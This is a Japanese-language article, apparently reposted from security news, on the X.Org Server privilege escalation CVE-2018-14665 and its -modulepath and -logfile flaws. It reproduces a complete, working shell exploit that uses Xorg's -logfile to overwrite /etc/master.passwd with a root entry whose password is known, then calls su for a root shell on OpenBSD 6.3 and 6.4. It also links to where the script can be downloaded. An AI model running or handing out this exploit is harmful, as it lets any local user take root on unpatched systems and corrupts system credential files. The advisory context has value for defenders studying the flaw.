
OpenBsd_CVE-2018-14665
インドのセキュリティ研究者Narendra Shinde氏は、X.Org Serverソフトウェアパッケージにおいて、一般ユーザーがroot権限を取得できる重大な脆弱性(CVE-2018-14665)を発見しました。この脆弱性は、OpenBSD、Debian、Ubuntu、CentOS、Red Hat、Fedoraといった主要なLinuxディストリビューションに影響を及ぼします。
Xorg Xプロジェクトは、X Window Systemのオープンソース実装(X11、または単にXとも呼ばれ、ビットマップディスプレイ用のウィンドウシステム)を提供しています。これは、GUI環境の基本的な枠組みを提供します:ディスプレイデバイス上でのウィンドウの描画と移動、およびマウスとキーボードを用いた操作です。
Shinde氏は、Xorg Xサーバーが、少なくとも以下の2つのコマンドライン引数を適切に処理および検証できていないことを発見しました。
-modulepath:Xorgサーバーモジュールの検索ディレクトリパスを設定します。
-logfile:Xorgサーバー用の新しいログファイルを設定します。ほとんどのプラットフォームでは、/var/log/Xorg.n.log にあるデフォルトログの代わりに使用されます。
Narendra Shinde氏によると、低権限ユーザーはこれを悪用して悪意のあるコードを実行し、システム上の任意のファイルを上書きできる可能性があります。
この脆弱性は2年以上前に、X.Org Server 1.19.0 パッケージに導入されました。
Xorgは、CVE-2018-14665脆弱性に関するセキュリティ勧告を発表しました。
「Xサーバーが昇格した権限で実行されている場合(つまり、Xorgがインストールされ、setuidビットが設定され、root以外のユーザーによって起動された場合)」とXorgの勧告は述べています。
「-modulepath 引数を使用して、Xサーバーにロードされるモジュールの安全でないパスを指定し、特権プロセス内で非特権コードを実行できるようになります。
オプション解析時のチェックが不適切なため、-logfile 引数を使用して、ファイルシステム上の任意のファイルを上書きすることができます。」
セキュリティ専門家のMatthew Hickey氏は、攻撃者が3つ以下のコマンドで脆弱なシステムを乗っ取ることができる概念実証(PoC)エクスプロイトコードも公開しました。
OpenBSD の #0day LPE(CVE-2018-14665)は、リモートのSSHセッションからトリガー可能であり、ローカルコンソールは必要ありません。攻撃者は文字通り3つ以下のコマンドで影響を受けるシステムを乗っ取ることができます。
エクスプロイトスクリプト:https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh

#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD. Errata: was
# unpatched 0day for a day on release by Xorg for
# OpenBSD systems - patched 26-10-2018.
#
# Credit for cve-2018-14665 goes to Narendra Shinde.
# Theo explains why this flaw made it into OpenBSD
# stable releases (tested 6.3 & 6.4) as 0day himself
# here:
#
# https://marc.info/?l=openbsd-tech&r=1&b=201810&w=2
#
# "That is the first localhost root hole in quite a
# long time." - Theo de Raadt 25/10/18
#
# This exploit works on OpenBSD 6.3 and 6.4, ymmv.
# requires the ability to run "su" and a local
# account. Run this exploit once and it will backup
# the original passwd file to /etc/master.passwd.old
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -
https://twitter.com/hackerfantastic
https://securityaffairs.co/wordpress/77402/hacking/cve-2018-14665-linux-distros.html
https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh